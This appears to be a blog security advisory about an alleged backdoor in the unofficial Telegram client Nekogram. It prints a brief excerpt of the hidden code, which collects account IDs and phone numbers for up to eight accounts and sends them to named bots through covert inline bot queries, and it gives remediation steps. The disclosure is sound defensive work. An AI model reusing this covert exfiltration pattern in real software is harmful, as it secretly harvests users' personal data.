REPORT
CEPATO Technical Note2026.04.02

The Nekogram Backdoor Incident: Your Phone Number Has Already Been Uploaded in Secret

The unofficial Nekogram client has been injected with malicious code that quietly uploads users' phone numbers and account IDs.

Chongxi
Author:Chongxi
steam: —·spotify: —
Tags:#Telegram#Nekogram
ANALYSIS

TL;DR: if you’ve ever used Nekogram, your phone number and Telegram account ID have already been sent to the developer. Switch back to the official client immediately

What Happened#

Recently, security researchers reverse-engineered Nekogram’s release APK and found deliberately injected malicious code that, without the user knowing anything, uploads the following to the developer:

  • Your Telegram user ID
  • Your phone number
  • If you’re logged into multiple accounts, the above information for all accounts

Technical Details#

The malicious code is hidden in the Extra.java file and does not appear in the public GitHub source — the developer quietly injected it when packaging the release, so looking at the source alone won’t reveal a thing

The code logic is simple and crude:

PRTCL // JAVA
// 遍历最多8个账号
for (int i = 0; i < 8; i++) {
// 抓取用户ID和手机号
mapWithAccounts.put(String.valueOf(user.id), phonenum);
}
// 通过 inline query 悄悄发给 bot,不留任何聊天记录
InlineBotHelper.getInstance(...).query(nekonotificationbot, ...toJSON(hashMap));

The data is sent via Inline Bot Query, and what’s special about that method is: it leaves no trace whatsoever in your chat history

The intended recipients include:

  • @nekonotificationbot (the main data-receiving bot)
  • tgdb_search_bot (an OSINT people-search bot)
  • usinfobot (an OSINT people-search bot)

The presence of the latter two bots means the leaked data is very likely being used for social engineering lookups

Why It’s Especially Dangerous#

  1. The Google Play version is affected too, not just APKs downloaded from third-party channels
  2. Early versions targeted only +86 numbers; it has now been extended to all users
  3. The Nekogram author is reportedly known to have a history of DDoS attacks and online harassment
  4. The issue has been made public on GitHub: #336

What You Should Do Now#

1. Uninstall Nekogram immediately and switch back to official Telegram

2. Check your logged-in devices 设置 → 隐私与安全 → 活跃会话 → kick off any unfamiliar devices

3. Enable two-step verification 设置 → 隐私与安全 → 两步验证

4. Limit phone number visibility 设置 → 隐私 → 手机号码 → change it to “我的联系人” or “没有人”

5. Report it to Google Play Report link


The source code and the release binary of an unofficial client can be completely different. The source you see is not the program you’re running

From now on, download Telegram from exactly one place: telegram.org

Reference sources: Sota Project, GitHub Issue #336

Chongxi
CHONGXIAuthor
Steam—
Spotify—
Published at:2026.04.02
Classified
Distribution Notice

The Nekogram Backdoor Incident: Your Phone Number Has Already Been Uploaded in Secret

Author CHONGXI/2026.04.02/CEPATO-2026-0402-336CAU

This work is licensed under CC BY-NC-SA 4.0. Redistribution, remixing and adaptation are allowed for non-commercial use, provided the same license is used and the original author is credited.

SubscribeDonate
Discussion
Archive_Ref
Copyright © 2011–2026 Chongxi & CEPATO
Powered by Astro & CEPATO-NEXT
StatusNon-Collaborative_Entity // CEPATO_NEXT_v27.0

Type a keyword to search